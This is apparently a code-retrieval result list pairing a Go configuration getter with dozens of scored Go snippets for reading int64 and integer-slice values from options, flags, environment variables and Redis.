[ { "docid": "db38337fe9d39a428b0d9e68fac71bee", "score": "0.77038985", "text": "func GetInt64SliceR(key string, defaultVal ...int64) []int64 {\n\tw := internalGetWorker()\n\treturn w.rxxtOptions.GetInt64Slice(w.wrapWithRxxtPrefix(key), defaultVal...)\n}", "title": "" } ]
[ { "docid": "0920dac3f51de5a1e5dee2dad62afb26", "score": "0.73955905", "text": "func GetInt64SliceRP(prefix, key string, defaultVal ...int64) []int64 {\n\tw := internalGetWorker()\n\treturn w.rxxtOptions.GetInt64Slice(w.wrapWithRxxtPrefix(fmt.Sprintf(\"%s.%s\", prefix, key)), defaultVal...)\n}", "title": "" }, { "docid": "34fcf21ed5fec1596afd20aaa35da001", "score": "0.7085498", "text": "func GetIntSliceR(key string, defaultVal ...int) []int {\n\tw := internalGetWorker()\n\treturn w.rxxtOptions.GetIntSlice(w.wrapWithRxxtPrefix(key), defaultVal...)\n}", "title": "" }, { "docid": "61c945433441dd86b36c408f8b8ef2e9", "score": "0.70182174", "text": "func GetInt64SliceP(prefix, key string, defaultVal ...int64) []int64 {\n\treturn currentOptions().GetInt64Slice(fmt.Sprintf(\"%s.%s\", prefix, key), defaultVal...)\n}", "title": "" }, { "docid": "ddb1677a2cf3f15a61f34952d84e26f4", "score": "0.6963271", "text": "func GetInt64R(key string, defaultVal ...int64) int64 {\n\tw := internalGetWorker()\n\treturn w.rxxtOptions.GetInt64Ex(w.wrapWithRxxtPrefix(key), defaultVal...)\n}", "title": "" }, { "docid": "8d8f3130eb27738116aab297f52ca6ab", "score": "0.6845173", "text": "func GetUint64SliceR(key string, defaultVal ...uint64) []uint64 {\n\tw := internalGetWorker()\n\treturn w.rxxtOptions.GetUint64Slice(w.wrapWithRxxtPrefix(key), defaultVal...)\n}", "title": "" }, { "docid": "bb10fa55ce59593bbfd4f7966c43db1e", "score": "0.662203", "text": "func GetIntSliceRP(prefix, key string, defaultVal ...int) []int {\n\tw := internalGetWorker()\n\treturn w.rxxtOptions.GetIntSlice(w.wrapWithRxxtPrefix(fmt.Sprintf(\"%s.%s\", prefix, key)), defaultVal...)\n}", "title": "" }, { "docid": "9ab1c1bc4be73cc409e55c9271aed32a", "score": "0.66026676", "text": "func (f *FlagSet) GetInt64Slice(name string) ([]int64, error) {\n\treturn f.fs.GetInt64Slice(name)\n}", "title": "" }, { "docid": "24939576850d872f8531f38a41b04a5a", "score": "0.6587162", "text": "func GetUint64SliceRP(prefix, key string, defaultVal ...uint64) []uint64 {\n\tw := internalGetWorker()\n\treturn w.rxxtOptions.GetUint64Slice(w.wrapWithRxxtPrefix(fmt.Sprintf(\"%s.%s\", prefix, key)), defaultVal...)\n}", "title": "" }, { "docid": "31c1623949b2adc441c48bb74733eb2c", "score": "0.6551022", "text": "func GetInt64RP(prefix, key string, defaultVal ...int64) int64 {\n\tw := internalGetWorker()\n\treturn w.rxxtOptions.GetInt64Ex(w.wrapWithRxxtPrefix(fmt.Sprintf(\"%s.%s\", prefix, key)), defaultVal...)\n}", "title": "" }, { "docid": "0b4bc7c4457f3aac506f57314f7d39ab", "score": "0.6413122", "text": "func GetInt64P(prefix, key string, defaultVal ...int64) int64 {\n\treturn currentOptions().GetInt64Ex(fmt.Sprintf(\"%s.%s\", prefix, key), defaultVal...)\n}", "title": "" }, { "docid": "46d8453392197740e75f59d65d082689", "score": "0.6319446", "text": "func GetInt64Slice(fs *pflag.FlagSet, name string) (value []int64, set bool, err error) {\n\tname = toDash.Replace(name)\n\tflag := fs.Lookup(name)\n\tif flag == nil {\n\t\treturn nil, false, &ErrFlagNotFound{FlagName: name}\n\t}\n\tvalue = make([]int64, len(flag.Value.(*Int64SliceValue).Values))\n\tfor i, v := range flag.Value.(*Int64SliceValue).Values {\n\t\tvalue[i] = v.Value\n\t}\n\treturn value, flag.Changed, nil\n}", "title": "" }, { "docid": "a59b16eedfdba20aeff1d7479225604a", "score": "0.63121027", "text": "func GetInt64Slice(key, sep string, defaultValue []int64) []int64 {\n\tval, ok := os.LookupEnv(key)\n\tif !ok {\n\t\treturn defaultValue\n\t}\n\n\tvar slice []int64\n\tfor _, s := range strings.Split(val, sep) {\n\t\tresult, err := strconv.ParseInt(s, 10, 64)\n\t\tif err != nil {\n\t\t\treturn defaultValue\n\t\t}\n\t\tslice = append(slice, result)\n\t}\n\n\treturn slice\n}", "title": "" }, { "docid": "d3189d8cd1b55afcac5209e2d29843f2", "score": "0.62797594", "text": "func GetUint64SliceP(prefix, key string, defaultVal ...uint64) []uint64 {\n\treturn currentOptions().GetUint64Slice(fmt.Sprintf(\"%s.%s\", prefix, key), defaultVal...)\n}", "title": "" }, { "docid": "be850de7186e30a49691df28d20c362c", "score": "0.60888034", "text": "func GetIntR(key string, defaultVal ...int) int {\n\tw := internalGetWorker()\n\treturn w.rxxtOptions.GetIntEx(w.wrapWithRxxtPrefix(key), defaultVal...)\n}", "title": "" }, { "docid": "07107383f263b839f1fa8d744934c3f7", "score": "0.60870314", "text": "func GetUint64Slice(key string, defaultVal ...uint64) []uint64 {\n\treturn currentOptions().GetUint64Slice(key, defaultVal...)\n}", "title": "" }, { "docid": "9fa913298cf2a03299d1d9005921b84c", "score": "0.60864663", "text": "func GetInt64(key string, defaultVal ...int64) int64 {\n\treturn currentOptions().GetInt64Ex(key, defaultVal...)\n}", "title": "" }, { "docid": "3d86fb3fa28f61494284530cf979a789", "score": "0.60391504", "text": "func (reader *Reader) GetKeyPartInt64(counterId int32, offset int32) (int64, error) {\n\tif err := reader.validateCounterIdAndOffset(counterId, offset+util.SizeOfInt64); err != nil {\n\t\treturn 0, err\n\t}\n\tmetaDataOffset := counterId * METADATA_LENGTH\n\trecordStatus := reader.metaData.GetInt32Volatile(metaDataOffset)\n\tif recordStatus != RECORD_ALLOCATED {\n\t\treturn 0, fmt.Errorf(\"counterId=%d recordStatus=%d\", counterId, recordStatus)\n\t}\n\treturn reader.metaData.GetInt64(metaDataOffset + KEY_OFFSET + offset), nil\n}", "title": "" }, { "docid": "3a67f5a3cc57681caf78fd0fbbc05b4e", "score": "0.5897686", "text": "func GetUint64R(key string, defaultVal ...uint64) uint64 {\n\tw := internalGetWorker()\n\treturn w.rxxtOptions.GetUint64Ex(w.wrapWithRxxtPrefix(key), defaultVal...)\n}", "title": "" }, { "docid": "bc872ed38bdc367bfbc7277329025148", "score": "0.5895454", "text": "func (jr *JSONReader) GetIntSlice(key string) []int {\n\tp := jr.getChildByKey(key)\n\tif p == nil {\n\t\treturn nil\n\t}\n\n\tiface := make([]int, 0)\n\n\tswitch p.dtype {\n\tcase JSONInt, JSONFloat, JSONBool, JSONString:\n\t\tiface = append(iface, toInt(p.bytes, p.dtype, jr.StrictStandards))\n\tcase JSONArray, JSONObject:\n\t\tfor _, k := range p.keys {\n\t\t\tiface = append(iface, toInt(p.children[k].bytes, p.children[k].dtype, jr.StrictStandards))\n\t\t}\n\tdefault:\n\t\tiface = append(iface, 0)\n\t}\n\n\treturn iface\n}", "title": "" }, { "docid": "ce306170617fdd67e9643b2e7ec2f3ac", "score": "0.589288", "text": "func SliceInt64(any interface{}) []int64 {\n\treturn Int64s(any)\n}", "title": "" }, { "docid": "7a5324faaa0d5471926567581c3828e3", "score": "0.5864281", "text": "func (f *FlagSet) Int64SliceP(name, shorthand string, value []int64, usage string) *[]int64 {\n\tp := []int64{}\n\tf.Int64SliceVarP(&p, name, shorthand, value, usage)\n\treturn &p\n}", "title": "" }, { "docid": "b8d03a28c4dcfd8dcde3a8cb9cf481af", "score": "0.58608216", "text": "func (s *settings) GetInt64(key string) int64 {\n\treturn s.viper.GetInt64(key)\n}", "title": "" }, { "docid": "8603b256fe4ff19e349f95a19375a508", "score": "0.585909", "text": "func (f *FlagSet) Int64Slice(name string, value []int64, usage string) *[]int64 {\n\tp := []int64{}\n\tf.Int64SliceVarP(&p, name, \"\", value, usage)\n\treturn &p\n}", "title": "" }, { "docid": "09bc1d9e1654a174cd915a091120c72d", "score": "0.5856186", "text": "func (s *SettingsType) GetInt64(key string) int64 {\n\ts.RLock()\n\tdefer s.RUnlock()\n\n\treturn viper.GetInt64(key)\n}", "title": "" }, { "docid": "2b5a217ae7f7a0392d028b89dba61f47", "score": "0.5825735", "text": "func GetIntSliceP(prefix, key string, defaultVal ...int) []int {\n\treturn currentOptions().GetIntSlice(fmt.Sprintf(\"%s.%s\", prefix, key), defaultVal...)\n}", "title": "" }, { "docid": "46cb955cdf6af10b6fafaad1ada916e3", "score": "0.5821216", "text": "func (e Extensions) GetInt64(key string) (int64, bool) {\n\tif v, ok := e.GetOK(key); ok {\n\t\tstr, ok := v.(int64)\n\t\treturn str, ok\n\t}\n\treturn 0, false\n}", "title": "" }, { "docid": "436069a2c95cde04374930be1c73946c", "score": "0.5815459", "text": "func GetInt64(key string) int64 {\n\treturn o.GetInt64(key)\n}", "title": "" }, { "docid": "44cfcc30fa3e0086acac001ae6d9c154", "score": "0.5785062", "text": "func (g *OptGroup) GetIntSlice(name string) []int { return g.Must(name).([]int) }", "title": "" }, { "docid": "b8619309788ba60f6c63adbeae306c01", "score": "0.5772418", "text": "func (c *Config) GetInt64(key string) (i int64) {\n\ti64, _ := c.GetInt64Ok(key)\n\treturn i64\n}", "title": "" }, { "docid": "744da6f2cc18a026cd7ea1992725236f", "score": "0.57439977", "text": "func (g *OptGroup) GetInt64(name string) int64 { return g.Must(name).(int64) }", "title": "" }, { "docid": "e384799cc490aaf7d7c8dfc4a2e566d2", "score": "0.57414263", "text": "func (this *Config)GetInt64(key string) (i int64, err error) {\n\terr = nil\n\tvalue, ok := this.store[key]\n\tif !ok {\n\t\terr := ErrorKeyNotFound\n\t\treturn 0, err\n\t}\n\ti, err = strconv.ParseInt(value, 10, 64)\n\treturn\n}", "title": "" }, { "docid": "d6a45dd4800be81dffa6cb3f7144991c", "score": "0.5729904", "text": "func (r *HashStorageTypeRedisController) GetInt64(key string, field string) (value int64, err error) {\n\t// redis conn\n\tconn := r.pool.Get()\n\tdefer conn.Close()\n\n\t// get field\n\treturn github_com_gomodule_redigo_redis.Int64(conn.Do(\"HGET\", key, field))\n}", "title": "" }, { "docid": "be40941f21aa62641a3b1d42fa7a3675", "score": "0.57129", "text": "func GetIntSlice(key string, defaultVal ...int) []int {\n\treturn currentOptions().GetIntSlice(key, defaultVal...)\n}", "title": "" }, { "docid": "eb5ed12aaec9b9229dede70804ed232a", "score": "0.57065725", "text": "func (r *HashStorageType2RedisController) GetInt64(key string, field string) (value int64, err error) {\n\t// redis conn\n\tconn := r.pool.Get()\n\tdefer conn.Close()\n\n\t// get field\n\treturn github_com_gomodule_redigo_redis.Int64(conn.Do(\"HGET\", key, field))\n}", "title": "" }, { "docid": "8f2bf7942d5984cc5523bf8c7da2652c", "score": "0.5683326", "text": "func GetUint64Slice(key, sep string, defaultValue []uint64) []uint64 {\n\tval, ok := os.LookupEnv(key)\n\tif !ok {\n\t\treturn defaultValue\n\t}\n\n\tvar slice []uint64\n\tfor _, s := range strings.Split(val, sep) {\n\t\tresult, err := strconv.ParseUint(s, 10, 64)\n\t\tif err != nil {\n\t\t\treturn defaultValue\n\t\t}\n\t\tslice = append(slice, result)\n\t}\n\n\treturn slice\n}", "title": "" }, { "docid": "8cc46a95611df0b4281206d0d53bb7d0", "score": "0.56776303", "text": "func GetUint64RP(prefix, key string, defaultVal ...uint64) uint64 {\n\tw := internalGetWorker()\n\treturn w.rxxtOptions.GetUint64Ex(w.wrapWithRxxtPrefix(fmt.Sprintf(\"%s.%s\", prefix, key)), defaultVal...)\n}", "title": "" }, { "docid": "41a4fe331b1ab3fb01692b8d71b03153", "score": "0.5660385", "text": "func (*Int64SliceValue) Type() string { return \"int64Slice\" }", "title": "" }, { "docid": "7dd6030ff9cbeae06ea5ca3f5517d61e", "score": "0.5626948", "text": "func GetIntRP(prefix, key string, defaultVal ...int) int {\n\tw := internalGetWorker()\n\treturn w.rxxtOptions.GetIntEx(w.wrapWithRxxtPrefix(fmt.Sprintf(\"%s.%s\", prefix, key)), defaultVal...)\n}", "title": "" }, { "docid": "dce13d5c0164dfcac5d0ddd99430892e", "score": "0.5596358", "text": "func (c *Config) GetSliceInt(key string) []int {\n var ret []int\n if v := c.Get(key); v != nil {\n if vI, ok := v.([]interface{}); ok == true {\n for _, vv := range vI {\n ret = append(ret, Util.ToInt(vv))\n }\n }\n }\n\n return ret\n}", "title": "" }, { "docid": "dff97b01ea333f1253b3fb9a495d4ebd", "score": "0.55871576", "text": "func GetStringSliceR(key string, defaultVal ...string) []string {\n\tw := internalGetWorker()\n\treturn w.rxxtOptions.GetStringSlice(w.wrapWithRxxtPrefix(key), defaultVal...)\n}", "title": "" }, { "docid": "160a88cd83f3c38262161d55d9a79727", "score": "0.5582993", "text": "func ResolveURLQueryPathInt64SliceFieldWithLimit(r *http.Request, paramName string, limit int) ([]int64, error) {\n\tids, err := ResolveURLQueryPathInt64SliceField(r, paramName)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif len(ids) > limit {\n\t\treturn nil, fmt.Errorf(\"no more than %d %s expected\", limit, paramName)\n\t}\n\treturn ids, nil\n}", "title": "" }, { "docid": "6d2793b41e380cd43b22188006e3a572", "score": "0.5578307", "text": "func ReadInt64Slice(n int) []int64 {\n\tb := make([]int64, n)\n\tfor i := 0; i < n; i++ {\n\t\tb[i] = ReadInt64()\n\t}\n\treturn b\n}", "title": "" }, { "docid": "6d2793b41e380cd43b22188006e3a572", "score": "0.5578307", "text": "func ReadInt64Slice(n int) []int64 {\n\tb := make([]int64, n)\n\tfor i := 0; i < n; i++ {\n\t\tb[i] = ReadInt64()\n\t}\n\treturn b\n}", "title": "" }, { "docid": "6d2793b41e380cd43b22188006e3a572", "score": "0.5578307", "text": "func ReadInt64Slice(n int) []int64 {\n\tb := make([]int64, n)\n\tfor i := 0; i < n; i++ {\n\t\tb[i] = ReadInt64()\n\t}\n\treturn b\n}", "title": "" }, { "docid": "8f8ea9fc88e59e34cde5edaa7bfb9502", "score": "0.5552933", "text": "func (r *HashStorageTypeRedisController) GetSomeInt64(key string) (someInt64 int64, err error) {\n\t// redis conn\n\tconn := r.pool.Get()\n\tdefer conn.Close()\n\n\t// get SomeInt64 field\n\tif value, err := github_com_gomodule_redigo_redis.Int64(conn.Do(\"HGET\", key, \"SomeInt64\")); err != nil {\n\t\treturn someInt64, err\n\t} else {\n\t\tr.m.SomeInt64 = value\n\t}\n\n\treturn r.m.SomeInt64, nil\n}", "title": "" }, { "docid": "943fb22e5f029678cd33ac750e84058a", "score": "0.55378276", "text": "func NewInt64SliceFlag(fl cli.Int64SliceFlag) *Int64SliceFlag {\r\n\treturn &Int64SliceFlag{Int64SliceFlag: fl, set: nil}\r\n}", "title": "" }, { "docid": "70df9f81aa11a2e2688be7fce8be93bc", "score": "0.55304444", "text": "func GetInt64(key string) int64 {\n\tif !isInit {\n\t\tinitConfig()\n\t}\n\tvalue := viper.GetInt64(key)\n\tlogger.GetConfig().Info(30, map[string]interface{}{\n\t\t\"type\": \"INT64\",\n\t\t\"key\": key,\n\t\t\"value\": value,\n\t})\n\treturn value\n}", "title": "" }, { "docid": "070b5cb607b418bc32a8e52ddb889ec6", "score": "0.55303365", "text": "func Int64(key string, defVal ...int64) int64 { return dc.Int64(key, defVal...) }", "title": "" }, { "docid": "50a8c4a12bccacea9a45138e962e2f98", "score": "0.5524588", "text": "func (p *I64ListI64ServiceClient) GetSliceFromId(ctx context.Context, key TKey, entryStart TEntry, length int32) (r TEntryList, err error) {\n var _args13 I64ListI64ServiceGetSliceFromIdArgs\n _args13.Key = key\n _args13.EntryStart = entryStart\n _args13.Length = length\n var _result14 I64ListI64ServiceGetSliceFromIdResult\n if err = p.c.Call(ctx, \"getSliceFromId\", &_args13, &_result14); err != nil {\n return\n }\n return _result14.GetSuccess(), nil\n}", "title": "" }, { "docid": "3c75273dc533f9e71362f8d0eccc0e9c", "score": "0.5519622", "text": "func (p *I64ListI64ServiceClient) GetSlice(ctx context.Context, key TKey, start int32, length int32) (r TEntryList, err error) {\n var _args9 I64ListI64ServiceGetSliceArgs\n _args9.Key = key\n _args9.Start = start\n _args9.Length = length\n var _result10 I64ListI64ServiceGetSliceResult\n if err = p.c.Call(ctx, \"getSlice\", &_args9, &_result10); err != nil {\n return\n }\n return _result10.GetSuccess(), nil\n}", "title": "" }, { "docid": "0683badd1b5ba4308cb6ed2b1e643ca1", "score": "0.5516628", "text": "func NewInt64SliceFlag(name, usage string, opts ...FlagOption) *pflag.Flag {\n\tflag := &pflag.Flag{\n\t\tName: name,\n\t\tUsage: usage,\n\t\tValue: &Int64SliceValue{},\n\t}\n\tApplyOptions(flag, opts...)\n\treturn flag\n}", "title": "" }, { "docid": "e426eddacd311ad3100b9d92be61c4cf", "score": "0.55159503", "text": "func ResolveURLQueryGetInt64SliceField(req *http.Request, paramName string) ([]int64, error) {\n\tif err := checkQueryGetFieldIsNotMissing(req, paramName); err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar ids []int64\n\tparamValue := req.URL.Query().Get(paramName)\n\tif paramValue == \"\" {\n\t\treturn ids, nil\n\t}\n\tidsStr := strings.Split(paramValue, \",\")\n\tfor _, idStr := range idsStr {\n\t\tid, err := strconv.ParseInt(idStr, 10, 64)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"unable to parse one of the integers given as query args (value: '%s', param: '%s')\", idStr, paramName)\n\t\t}\n\t\tids = append(ids, id)\n\t}\n\treturn ids, nil\n}", "title": "" }, { "docid": "7eb93eed0a5c5f317f7d73f406fcbf0b", "score": "0.5505716", "text": "func (o *Onion) GetInt64(key string) int64 {\n\treturn o.GetInt64Default(key, 0)\n}", "title": "" }, { "docid": "409203fb9bb8b467a6dee990f26481ac", "score": "0.55047196", "text": "func Int64(key string, fallback ...int64) (value int64) {\n\tif str, exists := Get(key); exists {\n\t\tif v, e := strconv.ParseInt(str, 10, 64); e == nil {\n\t\t\tvalue = v\n\t\t}\n\t} else if len(fallback) > 0 {\n\t\tvalue = fallback[0]\n\t}\n\treturn\n}", "title": "" }, { "docid": "010344efec30c922c603c8a0f9b8e056", "score": "0.55015266", "text": "func (p Params) GetInt64(key string) (int64, bool) {\n\tv, ok := p[key].(int64)\n\treturn v, ok\n}", "title": "" }, { "docid": "e6162b580155c4f33489b693561b6678", "score": "0.549388", "text": "func (entity *Entity) GetInt64(key string) int64 {\n\treturn cast.ToInt64(entity.Get(key))\n}", "title": "" }, { "docid": "4bf23716e4e1daed7ba8fc60959e69cd", "score": "0.5482832", "text": "func (f *FlagSet) Int64SliceVar(p *[]int64, name string, value []int64, usage string) {\n\tf.fs.Int64SliceVar(p, name, value, usage)\n}", "title": "" }, { "docid": "6ca40154f867d7508e4379a72d66f65d", "score": "0.5482121", "text": "func Slice_int64_CTor() CGoHandle {\n\treturn CGoHandle(handleFromPtr_Slice_int64(&[]int64{}))\n}", "title": "" }, { "docid": "d0ce5d782f0d7299f6b12c66eb398c7e", "score": "0.54550695", "text": "func GetInt64Val(key string, offset int, defaultVal int64) (int64, *ConfigEntry) {\n val, entry, err := getIntVal(key, offset, 64)\n if err != nil {\n log.Debug(ERR_KEY_NOT_FOUND, key, defaultVal)\n return defaultVal, entry\n }\n\n return val, entry\n}", "title": "" }, { "docid": "fcc3d8440b3a6fdc5b857c42cbcf0f5e", "score": "0.5453603", "text": "func (c *config) GetInt64(key string) int64 {\n\tv, _ := strconv.ParseInt(c.Get(key), 10, 64)\n\treturn v\n}", "title": "" }, { "docid": "8b168f65347d0f06c4179d80aa44e8a8", "score": "0.544891", "text": "func (entity *Entity) GetIntSlice(key string) []int {\n\treturn cast.ToIntSlice(entity.Get(key))\n}", "title": "" }, { "docid": "d2ed0e0ea9e97edc98680693d300583b", "score": "0.54466367", "text": "func ResolveURLQueryPathInt64SliceField(req *http.Request, paramName string) ([]int64, error) {\n\tparamValue := chi.URLParam(req, paramName)\n\tparamValue = strings.Trim(paramValue, \"/\")\n\tvar ids []int64\n\tif paramValue == \"\" {\n\t\treturn ids, nil\n\t}\n\tidsStr := strings.Split(paramValue, \"/\")\n\tfor _, idStr := range idsStr {\n\t\tid, err := strconv.ParseInt(idStr, 10, 64)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"unable to parse one of the integers given as query args (value: '%s', param: '%s')\", idStr, paramName)\n\t\t}\n\t\tids = append(ids, id)\n\t}\n\treturn ids, nil\n}", "title": "" }, { "docid": "321788218f01773874d143227ad23b87", "score": "0.54437107", "text": "func (ini *Ini) GetInt64(sectionName, key string) (int64, error) {\n\tif section, ok := ini.sections[sectionName]; ok {\n\t\treturn section.GetInt64(key)\n\t}\n\treturn 0, noSuchSection(sectionName)\n}", "title": "" }, { "docid": "727775f0294612a4642480f1ecfc7f58", "score": "0.54398793", "text": "func GetInt64(m map[string]interface{}, k string) (int64, error) {\n\ti, ok := m[k]\n\tif !ok {\n\t\treturn 0, errors.NewMissing(k)\n\t}\n\treturn Int64(i)\n}", "title": "" }, { "docid": "d88fb5e680f4ddda89525650ec1540df", "score": "0.5424084", "text": "func (p Int64Slice) Key(i int) Key { return Int64Key(p[i]) }", "title": "" }, { "docid": "04146d53c3899b445bcf4f5d5a437e85", "score": "0.5412371", "text": "func (c *EasyConfig) GetInt64(key string) (int64, error) {\n\tvalue, ok := c.Data[strings.ToLower(key)]\n\tif ok == false {\n\t\treturn 0, errors.New(\"key does not exist\")\n\t}\n\n\ti, err := strconv.ParseInt(value, 10, 64)\n\tif err != nil {\n\t\treturn 0, errors.New(\"error converting value to integer\")\n\t}\n\n\treturn i, nil\n}", "title": "" }, { "docid": "f753f00a8f2999909cf9a300fc7d5615", "score": "0.5408276", "text": "func (p *I64ListI64ServiceClient) GetSliceFromIdReverse(ctx context.Context, key TKey, entryStart TEntry, length int32) (r TEntryList, err error) {\n var _args19 I64ListI64ServiceGetSliceFromIdReverseArgs\n _args19.Key = key\n _args19.EntryStart = entryStart\n _args19.Length = length\n var _result20 I64ListI64ServiceGetSliceFromIdReverseResult\n if err = p.c.Call(ctx, \"getSliceFromIdReverse\", &_args19, &_result20); err != nil {\n return\n }\n return _result20.GetSuccess(), nil\n}", "title": "" }, { "docid": "d2d247c69e5f5a5ffab52fb79ed086cb", "score": "0.5402046", "text": "func GetUintR(key string, defaultVal ...uint) uint {\n\tw := internalGetWorker()\n\treturn w.rxxtOptions.GetUintEx(w.wrapWithRxxtPrefix(key), defaultVal...)\n}", "title": "" }, { "docid": "b033a3a2849a152cc8f7416fb2b4d206", "score": "0.5396941", "text": "func Slice_uint64_CTor() CGoHandle {\n\treturn CGoHandle(handleFromPtr_Slice_uint64(&[]uint64{}))\n}", "title": "" }, { "docid": "a2006891e79c813ccb1ebc7b3ed94566", "score": "0.53676", "text": "func (f *FlagSet) Int64SliceVarP(p *[]int64, name, shorthand string, value []int64, usage string) {\n\tf.fs.Int64SliceVarP(p, name, shorthand, value, usage)\n}", "title": "" }, { "docid": "36c153d7088eef8b679967e8c0ead02d", "score": "0.53514713", "text": "func (p QueryParams) GetInt64(key string) (value int64, ok bool) {\n\tt, ok := p[key]\n\tif !ok {\n\t\treturn\n\t}\n\tvalue, ok = t.(int64)\n\treturn\n}", "title": "" }, { "docid": "479f0daef08fc15ce53399761cab2c88", "score": "0.53406185", "text": "func (p *Params) Int64(key string) (int64, error) {\n\treturn strconv.ParseInt(p.Get(key), 10, 64)\n}", "title": "" }, { "docid": "3e4f3bf6338e7facd0e08932164bb496", "score": "0.53375953", "text": "func (c *cache) MGetInt64(keys ...int64) map[int64]interface{} {\n\tnowNano := time.Now().UnixNano()\n\treturn c.mgetInt64(false, nowNano, keys...)\n}", "title": "" }, { "docid": "a58433e0a745e9f06d3873f67af34c41", "score": "0.533152", "text": "func (j *Jsonic) GetInt64(path string) (int64, error) {\n\tval, err := j.Get(path)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tif i, ok := val.(float64); ok {\n\t\treturn int64(i), nil\n\t}\n\treturn 0, ErrInvalidType\n}", "title": "" }, { "docid": "30092df809cb5c9c0c0289ee23d7e52f", "score": "0.5319115", "text": "func IntSlice(longName, usage string) *core.IntSliceFlag {\n\treturn DefaultBucket.IntSlice(longName, usage)\n}", "title": "" }, { "docid": "07bda6332217c1cc45e553f30b12f545", "score": "0.53181493", "text": "func (self *Countmap) getInt64(offset int64) int64 {\n\t// FIXME - check file length\n\tbuff := make([]byte, int64Size)\n\tself.bytemap.Seek(offset, 0)\n\tself.bytemap.Read(buff)\n\tvalue, _ := binary.Varint(buff)\n\treturn value\n}", "title": "" }, { "docid": "502067e5123e4283566cedb2e3daf89d", "score": "0.5309745", "text": "func (rdr *NpyReader) GetInt64() ([]int64, error) {\n\n\tif rdr.Dtype != \"i8\" {\n\t\treturn nil, fmt.Errorf(\"Reader does not contain int64 data\")\n\t}\n\n\tdata := make([]int64, rdr.nElt)\n\terr := binary.Read(rdr.r, rdr.Endian, &data)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn data, nil\n}", "title": "" }, { "docid": "cd5be48f4526e29731dea208aaf4a70c", "score": "0.5308229", "text": "func (k *KeyValue) Int64() (int64, error) {\n return strconv.ParseInt(k.String(), 10, 64)\n}", "title": "" }, { "docid": "636c105aa6de3a9bf754f809e114f56b", "score": "0.5303782", "text": "func mapGetInt64(m map[string]string, key string, fallback int64) int64 {\n\tval, ok := m[key]\n\tif ok {\n\t\ti, err := strconv.ParseInt(val, 10, 64)\n\t\tif err == nil {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn fallback\n}", "title": "" }, { "docid": "f06fc72af76d95f0904e87b101e47ed2", "score": "0.5288783", "text": "func GetUint64P(prefix, key string, defaultVal ...uint64) uint64 {\n\treturn currentOptions().GetUint64Ex(fmt.Sprintf(\"%s.%s\", prefix, key), defaultVal...)\n}", "title": "" }, { "docid": "64bec46d2e422ab33f6f6dccd890e0e5", "score": "0.52787566", "text": "func (c *Context) GetInt64(key string) (i64 int64) {\n\tif val, ok := c.Get(key); ok && val != nil {\n\t\ti64, _ = val.(int64)\n\t}\n\treturn\n}", "title": "" }, { "docid": "64bec46d2e422ab33f6f6dccd890e0e5", "score": "0.52787566", "text": "func (c *Context) GetInt64(key string) (i64 int64) {\n\tif val, ok := c.Get(key); ok && val != nil {\n\t\ti64, _ = val.(int64)\n\t}\n\treturn\n}", "title": "" }, { "docid": "30f4c6ad0abda3d87e81ae3a88c31858", "score": "0.52521056", "text": "func (o *Buffer) dec_slice_packed_int64(p *Properties, base unsafe.Pointer) error {\n\tv := (*[]uint64)(unsafe.Pointer(uintptr(base) + p.offset))\n\n\tnn, err := o.DecodeVarint()\n\tif err != nil {\n\t\treturn err\n\t}\n\tnb := uint(nn) // number of bytes of encoded int64s\n\n\tfin := o.index + nb\n\tif fin < o.index {\n\t\treturn errOverflow\n\t}\n\ty := *v\n\tfor o.index < fin {\n\t\tu, err := p.valDec(o)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\ty = append(y, u)\n\t}\n\t*v = y\n\treturn nil\n}", "title": "" }, { "docid": "27905c1ad5f4c54bcce72db580d97acf", "score": "0.52506953", "text": "func (g *OptGroup) GetUintSlice(name string) []uint { return g.Must(name).([]uint) }", "title": "" }, { "docid": "a6090eb150e73d656d824274f43ecb2e", "score": "0.5244819", "text": "func (db *DB) fetchInt64(key []byte) int64 {\n\tblob, err := db.lvl.Get(key, nil)\n\tif err != nil {\n\t\treturn 0\n\t}\n\tval, read := binary.Varint(blob)\n\tif read <= 0 {\n\t\treturn 0\n\t}\n\treturn val\n}", "title": "" }, { "docid": "aa02243d496e250aa6726e47c5bbf36e", "score": "0.52401143", "text": "func GetComplex64R(key string, defaultVal ...complex64) complex64 {\n\tw := internalGetWorker()\n\treturn w.rxxtOptions.GetComplex64(w.wrapWithRxxtPrefix(key), defaultVal...)\n}", "title": "" }, { "docid": "79a66c6eb64a604b613e45ac6e00fd4f", "score": "0.52312905", "text": "func SubSegToInt64(path, key string) (int64, error) {\n\treturn subSegToIntN(path, key, 64)\n}", "title": "" }, { "docid": "e62c26a131d28478fb7eb397746ceba0", "score": "0.5226047", "text": "func (p *Params) GetInt64Range(paramName string) *types.Int64Range {\r\n\tv := p.Get(paramName)\r\n\tswitch val := v.(type) {\r\n\tcase *types.Int64Range:\r\n\t\treturn val\r\n\tcase types.Int64Range:\r\n\t\treturn &val\r\n\t}\r\n\r\n\treturn nil\r\n}", "title": "" }, { "docid": "a3ac97e7a9e422f036cb681fe5afcbc7", "score": "0.5221667", "text": "func (p *Parameters) GetInt64Array(key string) []int64 {\n\tif p.Schema == nil {\n\t\treturn nil\n\t}\n\tschema, ok := p.Schema.GetPropertySchemas()[key]\n\tif !ok {\n\t\t// Schema for the key wasn't found, but maybe \"additional\" properties are\n\t\t// supported?\n\t\tschema = p.Schema.GetAdditionalPropertySchema()\n\t\tif schema == nil {\n\t\t\treturn nil\n\t\t}\n\t}\n\tarrSchema, ok := schema.(*ArrayPropertySchema)\n\tif !ok {\n\t\treturn nil\n\t}\n\tvar itemDefault *int64\n\tif arrSchema.ItemsSchema != nil {\n\t\tvar itemSchema *IntPropertySchema\n\t\titemSchema, ok = arrSchema.ItemsSchema.(*IntPropertySchema)\n\t\tif !ok {\n\t\t\treturn nil\n\t\t}\n\t\titemDefault = itemSchema.DefaultValue\n\t}\n\tvalIface, ok := p.Data[key]\n\tif !ok {\n\t\treturn ifaceArrayToInt64Array(arrSchema.DefaultValue, itemDefault)\n\t}\n\tval, ok := valIface.([]interface{})\n\tif !ok {\n\t\treturn ifaceArrayToInt64Array(arrSchema.DefaultValue, itemDefault)\n\t}\n\treturn ifaceArrayToInt64Array(val, itemDefault)\n}", "title": "" }, { "docid": 